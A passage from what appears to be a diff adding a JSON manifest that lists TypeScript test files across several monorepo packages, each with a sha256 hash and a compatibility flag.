"packages/core/tests/embedding-identity.test.ts":{"sha256":"e72f6a90e6888e6562d85ba7ebf72c1a9d1d2ce149d6d47f88e5d73f67637da0","compatible":true}, + "packages/core/tests/embedding-policy.test.ts":{"sha256":"7f3f037e05553f76e043355626f507d7484d025e7be1bbe7d22b885ee8fffed9","compatible":true}, + "packages/core/tests/enrichment.test.ts":{"sha256":"f7e09a05140f86993cd11d411262c85f92d7befaf9f1ed19cee6945d1a8d6b75","compatible":true}, + "packages/core/tests/env.test.ts":{"sha256":"ceeeff851aa12099c9220e743d28b224ea4088ac8c272c839061f5405d6115c7","compatible":true}, + "packages/core/tests/eval-baseline.test.ts":{"sha256":"1cc4b24c6430eb7ea1cf7f3cbbcf8da29990451a4b529b6192122b8dc3343fb1","compatible":true}, + "packages/core/tests/eval-cli.test.ts":{"sha256":"bbe89ddc5f403aceaf8314de838d8cb9b93b6ecff7e8b3288333457e0f49f29c","compatible":false}, + "packages/core/tests/eval-contamination.test.ts":{"sha256":"2b134f1a92df6ddc4a95cb8a0ce324991f264e79ac16769789f1e9d8c3c408a5","compatible":false}, + "packages/core/tests/eval-context.test.ts":{"sha256":"3933e977f8731584b2182b99ed226b0f08fa08a61ff3945a4ae3a90e65bf84b4","compatible":true}, + "packages/core/tests/eval-corpus.test.ts":{"sha256":"1820275a4ecec361b435b49b17de18c7d7502a0590bad4891fefec5c6bfc06e5","compatible":true}, + "packages/core/tests/eval-dates.test.ts":{"sha256":"46c5e23164176ebc146c8d2df2471ae8d12c704a50ab3931804480fde2e25f00","compatible":true}, + "packages/core/tests/eval-lint.test.ts":{"sha256":"6bde024e9d3ae722c65fa18003665e025056a6bc1aa2ae7323dfdacaff37f26f","compatible":true}, + "packages/core/tests/eval-set.test.ts":{"sha256":"4772ed86be1e5652a7bfc5651361f6373d57201d28951f7547957330f8c363ce","compatible":true}, + "packages/core/tests/exclude-policy.test.ts":{"sha256":"dcce8d93779961cd22574405844af4d306ce02de3a43a52b10ff3a83778c51c5","compatible":true}, + "packages/core/tests/fact-drift-exact-values.test.ts":{"sha256":"3f89e97759ae63158617636d666ec89ff22b7a64d6242482a22a3e8b3cc2fcf6","compatible":true}, + "packages/core/tests/frontmatter-edit.test.ts":{"sha256":"6fe9edadf89d0939dd151d351718f323d407e154dd2a26544de59b4688d97c73","compatible":true}, + "packages/core/tests/frontmatter-fences.test.ts":{"sha256":"cf14f28196fba2e367d2caa8af21b2f3c67094e18a47f797e35c85b9c595a7e2","compatible":true}, + "packages/core/tests/frontmatter-parse.test.ts":{"sha256":"884a1158f9f408138b3c1b1cc12f0f8471c1d40d71c09433a1301046a2f50b7c","compatible":true}, + "packages/core/tests/frontmatter.test.ts":{"sha256":"f48d8a4e49e426edc29776760a6dc73c7db88b45c6c100c125d1bd8e1b11ddae","compatible":true}, + "packages/core/tests/gemini-query.test.ts":{"sha256":"ea8675e5e59442c1d23fecbb31601c8048c22fe36712a050c5fefeb3c40b8812","compatible":true}, + "packages/core/tests/generated-from.test.ts":{"sha256":"ca7d581c0a9465e70c2148211cd468344269ac3b26f245e7552a77c1adc56a14","compatible":true}, + "packages/core/tests/geo-cli.test.ts":{"sha256":"33d856f3daeecb26b3f584f89b600abfda1a1c1f4e791efe1da02e906891a4e2","compatible":true}, + "packages/core/tests/geo-config.test.ts":{"sha256":"e248be67eaa8fdcf1efa0018e354094fe3d35ac935099c610ac39450ab75e31c","compatible":true}, + "packages/core/tests/governance-policy.test.ts":{"sha256":"862eede59aca2e27ec6e2597ac81fa542a120b4632f6773a16c803953cf5a4d7","compatible":true}, + "packages/core/tests/graph-profiles.test.ts":{"sha256":"2201e8d5d34febcc66e6c59b54eee1ac625268c09808667c34cf45440613d895","compatible":true}, + "packages/core/tests/graph.test.ts":{"sha256":"5f816a101afd02c9bcadd72f8ce38f591176a8fcf3c4eefd5fb8e45e5032c364","compatible":true}, + "packages/core/tests/hygiene-media.test.ts":{"sha256":"85845eb3e02733f5eb616a3c7e9aace5eed1c0a23c2838c419e47774d308dbd4","compatible":true}, + "packages/core/tests/hygiene-next.test.ts":{"sha256":"a9d7539ef5769affc440bba2849b97ce268ed7d8e12cfeb46e2888e79c658a11","compatible":true}, + "packages/core/tests/hygiene-repair.test.ts":{"sha256":"3c7d3224a9eccea2e135056777ab6efbc2ecece166c72f4f49a090be0dd7d19c","compatible":true}, + "packages/core/tests/hygiene-review.test.ts":{"sha256":"9e25acf4046927502b553989a5cbd2a99be1d0f0b5d50921a9cb757773470a5b","compatible":true}, + "packages/core/tests/hygiene.test.ts":{"sha256":"332bfffc9cba8b98c9ccd27844418db2c7b304138698845b7a6241d6a5b0bfb0","compatible":true}, + "packages/core/tests/index-location.test.ts":{"sha256":"c73506f9461022d5c4da185c841dad950647263112ee54b3987c52e2c7670313","compatible":true}, + "packages/core/tests/index-staleness.test.ts":{"sha256":"fe2deb849536c47d356c276533a5f3d37f281c133dba578c088b4a0ed186900a","compatible":true}, + "packages/core/tests/indexer-reliability.test.ts":{"sha256":"249c10cac2ed033f8393f07158cc1ea7d0f4991f00eb2f361c2b044ab32b2978","compatible":true}, + "packages/core/tests/indexer-targeted.test.ts":{"sha256":"cbddce1079f78f42ab905766ac543e6bbc973b9642fb61f9b88e1de11ac59665","compatible":true}, + "packages/core/tests/indexer.test.ts":{"sha256":"b75f0a89e032e8f2fd3bae6f084b9805876723ec4bc6179c7deeda9d7351d2fa","compatible":true}, + "packages/core/tests/ingestion.test.ts":{"sha256":"5242c7ae2aac71d03497f7966b52c45242457169e4a967f292a5a600bf2dc658","compatible":true}, + "packages/core/tests/instructions-weight.test.ts":{"sha256":"4fe6faadeb26aa24da3ed0d078c466ff5425194b10ab1fa8c516a65fe477bde0","compatible":true}, + "packages/core/tests/jev-client.test.ts":{"sha256":"1462266f1a0df178be4cec413c06d49439b9d6930f9b59f8ed3e1059de3f84ae","compatible":true}, + "packages/core/tests/jev-reranker.test.ts":{"sha256":"ab169415678bfc7e4db517013ec98ef3173730bafe4c0e07b7e5835387b105dc","compatible":true}, + "packages/core/tests/link-walk.test.ts":{"sha256":"a559c0c2723f1e602527c2f2012dfe49ff006772e4e8a92e9ff4921f4ea5f73c","compatible":true}, + "packages/core/tests/links-target-index.test.ts":{"sha256":"ea03bf553b162a5652d21233ab713bb0677be441b141654094f605ed4df2eb76","compatible":true}, + "packages/core/tests/llm-util.test.ts":{"sha256":"2e2377769b01440e76d656cb5aca46cf686f117769e7a0d9a88b0c2bc891d6f5","compatible":true}, + "packages/core/tests/maintain.test.ts":{"sha256":"f5fcd595af6fbf3bcef0a2e523d8587a6df80cf6e47ddcb4a935c7457f697a85","compatible":false}, + "packages/core/tests/markdown-fences.test.ts":{"sha256":"1e164796268138c5a4408ef66a327406c2ed391a6d0665197dfa80a2948b36e4","compatible":true}, + "packages/core/tests/mcp-contract.test.ts":{"sha256":"8e7456758f04221788717025f67dac0063e040a8de3cf30ef5483b56894b15ef","compatible":true}, + "packages/core/tests/media-config.test.ts":{"sha256":"0b1c38e4c9c127891397d09506457168cfe21a59dfdb2b09508280b2f6881893","compatible":true}, + "packages/core/tests/media-effects.test.ts":{"sha256":"c10e78eb1871d0640aca8e082d46225cb7ccdfa4c5754a30ebe353dbdcdbbd9d","compatible":true}, + "packages/core/tests/media-inventory.test.ts":{"sha256":"322898ed2b7144529fb8e5ef4d8a1a618640838b9ad78b0a4707af7820a03410","compatible":true}, + "packages/core/tests/media-probe.test.ts":{"sha256":"4bdaa3137999e574a124e965359fdbddd315bf72c1545cef5e9777bb2773d963","compatible":true}, + "packages/core/tests/media-references.test.ts":{"sha256":"44cb41d3ed2f5dbd9760cb13079bfb1b5497e610c2f6b91be1a0539382e354fe","compatible":true}, + "packages/core/tests/media-review-contract.test.ts":{"sha256":"886ea60ed75acec6884c64871cdd128e9a56f079f8591f7c08a4456292aafe06","compatible":true}, + "packages/core/tests/module-author-typing.test.ts":{"sha256":"98b579f76b8eea6ad48c2e8f5fdd47f58b663fc5f485646188b061da97674068","compatible":true}, + "packages/core/tests/module-dormancy.test.ts":{"sha256":"5d363c452412d8247eb73e3626c9b14ea2988acd9171195deea38408d6b9e70e","compatible":true}, + "packages/core/tests/module-entry.test.ts":{"sha256":"692cd8ba2c30fc583d64a15d3801a3d72cf8ba4f31a43512ca6596e60c0e0880","compatible":true}, + "packages/core/tests/module-loader-containment.test.ts":{"sha256":"e4f010026e5045838ffaeca45672066a2725729849a0815590f096bf070f3b9a","compatible":true}, + "packages/core/tests/module-mcp-tools.test.ts":{"sha256":"b99a12258f13e57a209bb735904f2c8311b97bf55d59ea6d61ea06e1cbfaff94","compatible":true}, + "packages/core/tests/module-renderers.test.ts":{"sha256":"f4f349da2303ffade4187a53a919d4d3809256d121c20b990931653eb12c6726","compatible":true}, + "packages/core/tests/module-repositories.test.ts":{"sha256":"0235e9c912210b280e3457df62b0ff47bdbfd1ee1b945225289f3cb575ed35c5","compatible":true}, + "packages/core/tests/module-settings.test.ts":{"sha256":"c82a241d918388407ad40375844dfab21f78c6fd617e727a47b4fcd5ab18dccc","compatible":true}, + "packages/core/tests/module-state.test.ts":{"sha256":"8463e4a9affd4c47ad8e2431ad9d8ecb27978a45d6a29c9e2ae04ca43fd274a2","compatible":true}, + "packages/core/tests/module-tool-lint.test.ts":{"sha256":"b6e14cc360fc25a9ac184f6a580d168f440a4a63df85596a20c7927c758e2636","compatible":true}, + "packages/core/tests/okf-exporter.test.ts":{"sha256":"6db72d13f26a72d5e012e2e387caeb135b0f204b845817820925f090ddecead3","compatible":true}, + "packages/core/tests/ops.test.ts":{"sha256":"07f1b4218faec0003065857d1f844e6f32096ccb1fe4c04f850c9959540781f0","compatible":true}, + "packages/core/tests/paid-provider-qualification.test.ts":{"sha256":"7e2c8b0677d9988989d63b6fa68a093c39bcd809fd0b1d53985c95ea7784367b","compatible":false}, + "packages/core/tests/policy-cli.test.ts":{"sha256":"c666770b79fc6bd9b9c29b8f0d1bd2771b2767fa40f2afc1e9e86ff67c440024","compatible":true}, + "packages/core/tests/propagation-review.test.ts":{"sha256":"fb30d1da18f5e4cc423cde7486ccb5ddc0ba53b1bdc184292bdbd2eff5338481","compatible":true}, + "packages/core/tests/provider-availability.test.ts":{"sha256":"307155350bd5adfee65b228d4ded55f5270e5b200fec9e7654af07fc9459ccb9","compatible":true}, + "packages/core/tests/provider-relay-jev.test.ts":{"sha256":"3ebdfe62b342f5f7905f455605e605c6d5aa87c03ada33a12bc666a0ed4790fd","compatible":true}, + "packages/core/tests/provider-relay-video.test.ts":{"sha256":"9f33d1a3b5ccbddcb25e88e1779e02292c60e583cf6400172bf65422d813e16c","compatible":true}, + "packages/core/tests/provider-routing.test.ts":{"sha256":"f4820b2fdd35be2f70f65e45468bb5fbb5ff35b43547ae772aa9c9f29e0b468f","compatible":true}, + "packages/core/tests/read-many.test.ts":{"sha256":"c88f6a674d0024829482448e95c307a298845019ccc0ec761220529dc5b74c82","compatible":true}, + "packages/core/tests/registry-regions.test.ts":{"sha256":"f20e2cd97aa2adab332eab923973b7adc3abd988adc8325ad24ada0863daa6df","compatible":false}, + "packages/core/tests/registry.test.ts":{"sha256":"3597566a72bc983d9eedbca4bc315a7ed1f56743056432fcdaaf4905804f12b4","compatible":true}, + "packages/core/tests/render-scratch.test.ts":{"sha256":"cc3e47d3ad266491c30d3dd77bb548e540c70db2a52d31ff03460e4edd2f728a","compatible":true}, + "packages/core/tests/render-static.runtime.test.ts":{"sha256":"e692d177d59f00d6d11860f059436535b177cf241fa596337318f263638ce7eb","compatible":true}, + "packages/core/tests/render-static.test.ts":{"sha256":"2ba57ba4c3f02dd1d4192f5357287660e388af7f4c5c3c8b65dc8d08a944a3f8","compatible":true}, + "packages/core/tests/render-write.test.ts":{"sha256":"61de645b19bb37f7f5c5072d628ddc797f378e03a4cdf75ffa31e725c0590746","compatible":true}, + "packages/core/tests/render.test.ts":{"sha256":"0c620d8d8bc6cf8f4a5b14ee754daca9cef9ff6aa38e105cc4dd9f3ff3359ada","compatible":true}, + "packages/core/tests/rerank-half-lives.test.ts":{"sha256":"ea99475107c0ce35bfb6e9cbb601bc6e8c3b9c5962dea8b885a3e844754100ce","compatible":true}, + "packages/core/tests/reranker-activation.test.ts":{"sha256":"965e8ca378c8f540872857ce841b9aa4400339c06aba4991dd928ef2edf0628b","compatible":true}, + "packages/core/tests/reranker-helpers.test.ts":{"sha256":"3c7542bdbec5f043600573f2da2309db6eec3018706afe628c903f4bae50d31d","compatible":true}, + "packages/core/tests/reranker.test.ts":{"sha256":"1b1a33c79067f5492b4c0aeacd97839a9dba7be20f67782540f416df71849895","compatible":true}, + "packages/core/tests/safe-path.test.ts":{"sha256":"fdc3493fa3265526bef65cd6999416771025c994807933d4cd508a71f443c987","compatible":true}, + "packages/core/tests/schedule-namespace-exclude.test.ts":{"sha256":"0e463971b555b308059169a09641dfad5c8def77e742d87ea878d6d578f23711","compatible":true}, + "packages/core/tests/scratch-pins.test.ts":{"sha256":"4070503ca3d305d6dafd5dfe7e4983b5cc4f448eb73ee06b219465b25f0ad6b7","compatible":true}, + "packages/core/tests/scratch-publication.test.ts":{"sha256":"52fafccbd1863642f62e712bca44fbf566ec9ae056badd022d75abdf5e4189db","compatible":true}, + "packages/core/tests/scratch.test.ts":{"sha256":"aa80376d973f0b157d5a8bc4a85f04b85f0005c53f77c2bfb77454ad1ffcb78f","compatible":false}, + "packages/core/tests/seam-contracts-nonconforming.test.ts":{"sha256":"321c17e31d20083202babdabdb6d846a5bfa7c29f0ecb91d5b2548a83df896aa","compatible":true}, + "packages/core/tests/seam-contracts.test.ts":{"sha256":"e523b1fb2e6c983bf96401cedbdb44598d10340ecdd4af6a92f8c8aec214e7e6","compatible":true}, + "packages/core/tests/search-dates.test.ts":{"sha256":"9af02e6bb53dc4e138c04135d40ba409b72432ec8d822784bacdd8db5a2ad8f2","compatible":true}, + "packages/core/tests/search-language.test.ts":{"sha256":"24568907301d9f84ae8895c8f65bb4638bd40c71e67ac69183bc91b3e1e30ae9","compatible":false}, + "packages/core/tests/search-reliability.test.ts":{"sha256":"2dd8217d10471ee407cad422c5bc486a4d1fa5710efc4e1f1c2320e78d0939e4","compatible":true}, + "packages/core/tests/search-rerank.test.ts":{"sha256":"c4852b5b8d5265232f7b7c370777a7adb4474d9c6c7391fc674e48c8f851bc29","compatible":true}, + "packages/core/tests/search-result-tags.test.ts":{"sha256":"af9842a7dc6db1cde7b24f9edebe8de24c035e3cd5302668525fc518ddf58961","compatible":true}, + "packages/core/tests/self-heading-links.test.ts":{"sha256":"5cb76dae1f57256f4c0cfdf0cfa158d3bb5e130798ee2ae768ef783bd724aa21","compatible":true}, + "packages/core/tests/skills-claude-emitter.test.ts":{"sha256":"3bcd436d07d20d6729f5db33d2b7827a0c1b044fa9dfcd86a6fd2c0b83643548","compatible":true}, + "packages/core/tests/skills-discover.test.ts":{"sha256":"b1a59499720b1f9050095b74ddf871e0e946f2ef3c4012ce4e1f65f0a85089ac","compatible":true}, + "packages/core/tests/skills-index-emitters.test.ts":{"sha256":"8589b8c9646e2e3f7c348be57dd8e891d52aed7026ba6e7294b2122b5dbbdc40","compatible":true}, + "packages/core/tests/skills-installation.test.ts":{"sha256":"c63f186b8d5c5b7f93bb6232e48d30a100a88d72c2edfa5865d64dfb1a1f4c26","compatible":true}, + "packages/core/tests/skills-lint.test.ts":{"sha256":"8657cee8b645ce37981b58761b7c48cd7551d82cc034415ae925541fa1db6d02","compatible":true}, + "packages/core/tests/skills-pi-emitter.test.ts":{"sha256":"ebbbb48724c3ddd1c9effb5ba1584d9ae8b0ad15f47715a8cbdaaeccae0e2bc4","compatible":true}, + "packages/core/tests/skills-shipped-lint.test.ts":{"sha256":"87cd7cd2a41ff00a1e24c6199d12cfab177099db4a983207721ba700c57dd638","compatible":true}, + "packages/core/tests/stats-history.test.ts":{"sha256":"aa6eb4d242c28950f3ff2f58587cbf051507141f4c8afc2efbaf7b64b7d21781","compatible":true}, + "packages/core/tests/stats-output.test.ts":{"sha256":"0607a000d724489114022fabb3e0fb6df224d7e95f4a772e269f33473bb4ef1b","compatible":true}, + "packages/core/tests/stats-trends-cli.test.ts":{"sha256":"d275fc195950399c3e1985ba85e24ed42041b0f72ccc657afce5f87b76e1a9a7","compatible":true}, + "packages/core/tests/stats-trends.test.ts":{"sha256":"c66b4c1275cc7af14a2f7e1a1e2a4c98c755c923690a284c00d56c2f95be460f","compatible":true}, + "packages/core/tests/stats.test.ts":{"sha256":"c93ec5690ba2e844436965f698e0fbd0d06a6ce6e2fb39960df5eed4e8cf6736","compatible":false}, + "packages/core/tests/storage-attachment-facts.test.ts":{"sha256":"208350cc6604c5fb9d65d32e9054830a2f1d118f867a186564737456b79a66e3","compatible":true}, + "packages/core/tests/storage-attachments.test.ts":{"sha256":"e0a30044216b9a14c541a01bab92791c6ffce5dcdb9d3794fc76bd2c530686bb","compatible":true}, + "packages/core/tests/storage-host-reader.test.ts":{"sha256":"c75d7453fe1aaf546c4b045faf0605f65b016647768aa7759de740bbe118dbe2","compatible":true}, + "packages/core/tests/storage-inventory.test.ts":{"sha256":"e3ccb677b1c8e3a651b9e1bdbb95974fa74b389cfa992fd788ee2b71e1f06a7a","compatible":true}, + "packages/core/tests/storage-pack-compatibility.test.ts":{"sha256":"398077dfd5a72d05b61d837abb3d76631a5f28031c98d5074647f9c373f06950","compatible":true}, + "packages/core/tests/storage-pack.test.ts":{"sha256":"855f2aac8dc1d6d135fe9fc30813b699fbbb57217c3441caed0014a743392443","compatible":true}, + "packages/core/tests/storage-references.test.ts":{"sha256":"ea3096c46dfe7c9bd4f421ab64b5459ea90d5c558565cd478f83c54b9fb4cf92","compatible":true}, + "packages/core/tests/supersedes.test.ts":{"sha256":"934e731b210ba318069239a80ee7ee70bf18c7c16f3e4a670dc8633d14140256","compatible":true}, + "packages/core/tests/sync-artifacts.test.ts":{"sha256":"506834a73a5c0aa17c1aa95cfeae6ee246735ab5a42696a35b3f7a614965539e","compatible":true}, + "packages/core/tests/sync-assess.test.ts":{"sha256":"4fbc26bb4606db0fe313356f9fe388bfe77e3c5ca2fee062c84ca08f8d20d266","compatible":true}, + "packages/core/tests/sync-cache-commit.test.ts":{"sha256":"1bc4b2cd6f60679c7eb1c183903087f155277f2d7d41025d31a9de1f812af335","compatible":true}, + "packages/core/tests/sync-commit.test.ts":{"sha256":"90dde7d8bdccfd7b2801eb775ec2c8c6abb0842161896d1ff334322badd79bfc","compatible":true}, + "packages/core/tests/sync-dirt.test.ts":{"sha256":"8ae4cb0fe1c359b1827c1579081988d91585173d65e53e26ad49cd717bc72fe3","compatible":true}, + "packages/core/tests/sync-instruction-files.test.ts":{"sha256":"84c49e9dd8219476649a941f68d936052261816b8c8d88530d57adeb2ff5b77b","compatible":true}, + "packages/core/tests/sync-judge-score.test.ts":{"sha256":"d5f945e11e570930c9febcb3603f47d5255dd59db7410bc3528206097ddca8a2","compatible":true}, + "packages/core/tests/sync-judge.test.ts":{"sha256":"798c1b90959a8900240ca1f1e029d4b3099e7e6d121749ed2fc5b28ab3a01afc","compatible":true}, + "packages/core/tests/sync-merge-depth.test.ts":{"sha256":"19c28ce757edee9e275a7af1f25a02f60d4d10ed59d5d7e2e909e787a03fa10c","compatible":true}, + "packages/core/tests/sync-merge-golden.test.ts":{"sha256":"32ba6174b1120c02a049481892b87faf9a8e5346dffe8187ab86ad29d29c5955","compatible":true}, + "packages/core/tests/sync-merge-hidden.test.ts":{"sha256":"f67a5ec00d07359adab61c4ea151b217ccf19504dbb669f81bf0ac077debf269","compatible":true}, + "packages/core/tests/sync-merge-plan.test.ts":{"sha256":"5b19616d1ecea80ceb243f9e756cec47680acb9bb0c6c010870566aa6eecdf27","compatible":true}, + "packages/core/tests/sync-merge-properties.test.ts":{"sha256":"a182fd54fbbd1d428e9abee5d3104ea8b046279ea4e654877069d81b0ae8cdf0","compatible":true}, + "packages/core/tests/sync-pending-state.test.ts":{"sha256":"c31c802b2cc1497332bf287fb4d6f9ff946d338e02f20073138439a916338084","compatible":true}, + "packages/core/tests/sync-pull-rebase.test.ts":{"sha256":"080c80dcde7e78046c13a99c7458f55a5f17ac1837fa22ff4649ad02aa6f466f","compatible":true}, + "packages/core/tests/sync-run.test.ts":{"sha256":"acff47ab5051f855d46358e5d104485bb248d5250a2bb2b59c63d03a105cc2a3","compatible":true}, + "packages/core/tests/sync-runtime.test.ts":{"sha256":"d6a97074697adbec3b9804dab94c2aafdbeb5955961ebaad99e9cfa00c86c833","compatible":true}, + "packages/core/tests/sync-scenarios.test.ts":{"sha256":"01f36f9fb53c3b3971898a289e01eab2019748476c8f1297ab292811ef84f641","compatible":true}, + "packages/core/tests/sync-stash.test.ts":{"sha256":"650234d7c1f8147f67cf6a9df7183c1d00cee590c06b53369490e774bd984527","compatible":true}, + "packages/core/tests/sync-stats-history.test.ts":{"sha256":"bd52ecaab4a670c63905df2de50d9c687ab7566cbe542e8f592a7d7814ea0f21","compatible":true}, + "packages/core/tests/sync-verb.test.ts":{"sha256":"a6a1864ec067e79a1f575f90b3d221d076dda4da91700de4809eb42c2991105d","compatible":true}, + "packages/core/tests/sync-verbs.test.ts":{"sha256":"03a15d6f18c437d31e3939f26f5a3a378bd4faadcd7a766f6608b43a6f0da8c8","compatible":true}, + "packages/core/tests/tags-rewrite.test.ts":{"sha256":"051027674562f7f1e28467e626c37580bf217c56d2f743113490d1a2f3fcd6c5","compatible":true}, + "packages/core/tests/tags.test.ts":{"sha256":"99639c1c9d8404a6a88008d767799630d964f0abcae0009c55e104dac6ffb4b9","compatible":true}, + "packages/core/tests/taxonomy-own-entries.test.ts":{"sha256":"64ca3b82b2730244840acf21ed661b9e2b82e20d30230e0f258ad63e53a7c9aa","compatible":true}, + "packages/core/tests/taxonomy.test.ts":{"sha256":"93a79511f2d7f61c5a464363c328fe5b7b94da941df1db8c7c786c4628151e2c","compatible":true}, + "packages/core/tests/update-archive-relevance.test.ts":{"sha256":"1f79ff2d6773825680c07aa6b74918693b8529dd9934fdf19b53e593f6daf056","compatible":true}, + "packages/core/tests/validate.test.ts":{"sha256":"ac3c6f2efcd2b8c8e1cf1cf1157668bf320c7b6a2f996b85d521c9a7a6e55073","compatible":true}, + "packages/core/tests/vec-read-path.test.ts":{"sha256":"f53ff7c0855f9e5181bb83fdd34f73a84de98cfa339a771036c61938f3072165","compatible":true}, + "packages/core/tests/vec-support.test.ts":{"sha256":"bb1b38e6332a63c18abe50f4912e3704f23088af32b32915cad482c71a94c32f","compatible":true}, + "packages/core/tests/video-completions.test.ts":{"sha256":"7e827307903db79062d21b3e918c736c3df2ee909a64ad1ba6dc64b34a44c392","compatible":true}, + "packages/core/tests/voice-namespace-exclude.test.ts":{"sha256":"6c6c2fa158d50d1d7eea8ba19a2dab69e2bd3c62652fc4d7708ec649e2baa771","compatible":true}, + "packages/core/tests/wikilinks.test.ts":{"sha256":"114b94d6077f0e7475870d79a75dabc0250e7d57a68ef9a1f759482d6964a8ae","compatible":true}, + "packages/core/tests/worker-recovery.test.ts":{"sha256":"eae416f6da66cfc4881b386d3ed3ba89700856e357d220923e3cbfc0f2be2d13","compatible":true}, + "packages/core/tests/worker-roots.test.ts":{"sha256":"985e72458a6ad445e482c940ec7612afac8324ab9d3e1c474b25eeb40b609240","compatible":true}, + "packages/geo/tests/coastline.test.ts":{"sha256":"2d2ee4c8cac5a8201179c311415347bdd0faadf08d9c131ad781dcefe1c06266","compatible":true}, + "packages/geo/tests/geocoding.test.ts":{"sha256":"02a8bd8dd1f5bde8e7e924686f7b0aa5108624dd6575fed460d7b30746274c85","compatible":true}, + "packages/geo/tests/imported-track.test.ts":{"sha256":"7a7c7f9d9fb2784c6dd0dd5bd0438222122a8610f9e30052b0bb2dc0d1334c49","compatible":true}, + "packages/geo/tests/io.test.ts":{"sha256":"7eb539b65dc293e87d0f0dd668e378371c30e40961ee90cca21afe4c112a2be7","compatible":true}, + "packages/geo/tests/normalized-track.test.ts":{"sha256":"3a44575271cd6865d4919ca41a727bb865ed12dc94bca32fb544adc2f71a9741","compatible":true}, + "packages/geo/tests/poi.test.ts":{"sha256":"7cbcf07d5a231064f0ba3a2ea228b54e9f8324f3bd102ea7d66ac2e3a9539401","compatible":true}, + "packages/geo/tests/routing.test.ts":{"sha256":"e8e3fe180d1e785918dd4d1d4430e50de5a44224e1948bb8f77c0511e2ce606f","compatible":true}, + "packages/geo/tests/spatial.test.ts":{"sha256":"626f2f43e80473545486012c8a9352a08d00967c62591645d617c8a70fb527b4","compatible":true}, + "packages/geo/tests/static-map.test.ts":{"sha256":"68df24deef2545ad0843227d395c8692d0b8bf9088e459f17c3221392d189ef2","compatible":true}, + "packages/geo/tests/track-summary.test.ts":{"sha256":"c0760fd4e1ce74af64ca68c8dac0fbeddaa1111c0666772e07859af68d41ad92","compatible":true}, + "packages/geo/tests/track.test.ts":{"sha256":"8e92ca49bed9b51031e3a50a610a3485f500ac5152d1c249c7b6438658f756c3","compatible":true}, + "packages/module-diagrams/tests/adopted-relay.test.ts":{"sha256":"2f8e244c1dc41c4c9b1893a1a731e222b28f1b552dcccb5279763e378b670abf","compatible":true}, + "packages/module-diagrams/tests/axis.test.ts":{"sha256":"e81c6f941703a3c814f2b36142984ee5b647ab99b8ab751579440d2d4e51b5f5","compatible":true}, + "packages/module-diagrams/tests/callouts.test.ts":{"sha256":"5b522f5d1a5ebd7e12572a3c002a246601957908ed99e9af37beac5be08471b8","compatible":true}, + "packages/module-diagrams/tests/check-cli.test.ts":{"sha256":"d7be2e0f290e5ec66353ce1535e22570a479ee3afffa16cac0f14794960aeb39","compatible":true}, + "packages/module-diagrams/tests/export.test.ts":{"sha256":"7c54e51a2a1d5e5cddac67af246904e6f9d5145f8c5d872ac38a035146acadba","compatible":true}, + "packages/module-diagrams/tests/geometry-cli.test.ts":{"sha256":"8a154c06840a6a312b99c781feea1fdcfc326d548c01918d11669166c0b6f8ac","compatible":true}, + "packages/module-diagrams/tests/geometry.test.ts":{"sha256":"a2b66d9f105cb1f44669b012e39526996612af6a8441421490b13176c343093c","compatible":true}, + "packages/module-diagrams/tests/module.test.ts":{"sha256":"c238e97e0b736dc0f79638f620db7ddde14acf92ce53dff343d73f1e41938bb1","compatible":true}, + "packages/module-diagrams/tests/node-link.test.ts":{"sha256":"b1db47125e83c0580ce398026bf012cbe200020b97bc29c695bddc94d58b8d0a","compatible":true}, + "packages/module-diagrams/tests/positional.test.ts":{"sha256":"72ed65159f57e8a59637e727623774c6b95aead381bf7a12bd14ccce8998aced","compatible":true}, + "packages/module-diagrams/tests/renderer.test.ts":{"sha256":"a3015b1c15a6df30b6d83553cee279040682513bd2cd005ca7b0d12571cb52af","compatible":true}, + "packages/module-diagrams/tests/routing-adaptive.test.ts":{"sha256":"2094b9f5c0204aef4c12a573d98606bb08c1ff6ea7e288625376fbdcf33e1721","compatible":true}, + "packages/module-diagrams/tests/scene-bounds.test.ts":{"sha256":"55374493ad442b9e49ac11673a895fd7055c97da51f66d4cb07b3fc529f6632a","compatible":true}, + "packages/module-diagrams/tests/skill.test.ts":{"sha256":"cbe68d5277a6232b3cd007bfab4557ec2779eec4d9987065d1d62758866ce829","compatible":true}, + "packages/module-diagrams/tests/skin.test.ts":{"sha256":"0841487068c71b8cb98e7c8c71d7b6ccabed56fdb42871648b480b826d1b9e38","compatible":true}, + "packages/module-diagrams/tests/spec.test.ts":{"sha256":"544ddb9f77fee5d4d4055ccfd778a2014c4fa74a778a28ee9dc60f1994267b74","compatible":true}, + "packages/module-diagrams/tests/upstream-report.test.ts":{"sha256":"83c004b67f98f306d6aa9b98d4a8e4463480d39721c66729672733ef710357a9","compatible":true}, + "packages/module-finance/tests/finance.test.ts":{"sha256":"122bb14a7a62e7f9377dfd821c9fdde027fa41346d7cd616977521c3a6c91d78","compatible":true}, + "packages/module-images/tests/cli.test.ts":{"sha256":"e97119f05697d4b66d11da1a12fcafeb673a4749868202e2b1dd76d91426894c","compatible":true}, + "packages/module-images/tests/live.test.ts":{"sha256":"31ae39a16a29df92e84e1df1922e6c1585037af8a4623659ec24b8f45ebeff6a","compatible":true}, + "packages/module-images/tests/module.test.ts":{"sha256":"119b1e72def4ae4c267b97c4e34364d29249f55785bfefd2d567ae5cfaef3399","compatible":true}, + "packages/module-images/tests/providers.test.ts":{"sha256":"82d8486351ac815d5ae99328dc05a2c8e8e544dfc8094b253bdcfeed0e6c05d6","compatible":true}, + "packages/module-images/tests/routing.test.ts":{"sha256":"5ecc9724b63376c097e03c3524e435ed57b72879064952b076b276599278ea24","compatible":true}, + "packages/module-images/tests/scratch.test.ts":{"sha256":"373b188864263ebc099fe2243d5b2864528a1064b4d1115e86a8b62a87040e2d","compatible":true}, + "packages/module-images/tests/shape.test.ts":{"sha256":"59ca1eec6eb0a294258cad2b826279f57e2c698f773f09c4a7f4a39a33dd9078","compatible":true}, + "packages/module-jobs/tests/board-fixtures.test.ts":{"sha256":"6297c40f8a25e58fb2ed631776b08760f469dad1474670172d0a3ef90336c14b","compatible":true}, + "packages/module-jobs/tests/board-selection-runtime.test.ts":{"sha256":"9faafa82148b2490d60cdd2d5402a311da076deea0188568c115d7f786ea4fd7","compatible":true}, + "packages/module-jobs/tests/browser-absence.test.ts":{"sha256":"44e3964691efabc04c472dad79dd3b5176264f53ce9c848f44287cff889510b7","compatible":true}, + "packages/module-jobs/tests/browser-politeness.test.ts":{"sha256":"5d65dcaa4c85e63de0d9adc2ecaec1e64ce0c90eaae798657300ddfa9dfbf387","compatible":true}, + "packages/module-jobs/tests/default-boards.test.ts":{"sha256":"c3ffbbdf606311b01f9575b5f54e66de43d2c7dc889cf3edf9ff26f1a9c131aa","compatible":true}, + 